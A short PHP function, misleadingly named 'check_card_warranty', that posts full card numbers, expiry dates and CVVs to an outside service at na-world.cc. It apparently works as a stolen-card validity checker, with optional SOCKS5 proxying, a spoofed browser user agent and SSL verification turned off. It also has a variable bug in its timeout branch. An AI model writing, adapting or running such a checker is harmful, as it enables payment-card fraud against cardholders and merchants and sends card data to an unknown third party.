function check_card_warranty($ccnum, $ccmon, $ccyear, $cvv)
			{
				$url = 'http://www.na-world.cc/likesrv/api/process.php'; // API URL
				$user = "xxx"; // Your Username
				$pass = "xxx"; // Your Password
				$code = "ccv05"; // API CODE
				$post = 'api='.$code.'&username='.$user.'&password='.$pass.'&card='.$ccnum.'|'.$ccmon.'|'.$ccyear.'|'.$cvv;
				$cookies = tempnam('cookie','kero'.rand(1000000,9999999).'pt');
				function _curl($url,$post="",$usecookie = false,$_sock = false,$timeout = false) {

					$ch = curl_init();
					if($post) {
						curl_setopt($ch, CURLOPT_POST ,1);
						curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
					}
					if($timeout){
						curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
					}
					if($_sock){
							curl_setopt($ch, CURLOPT_PROXY, $_sock);
							curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
					}
					curl_setopt($ch, CURLOPT_URL, $url);
					curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
					curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10");
					if ($usecookie) {
						curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
						curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);
					}
					curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
					curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
					curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
					$result=curl_exec ($ch);
					curl_close ($ch);
					return $result;
				}
				$x = _curl($url,$post,$cookies);
				return $x;
			}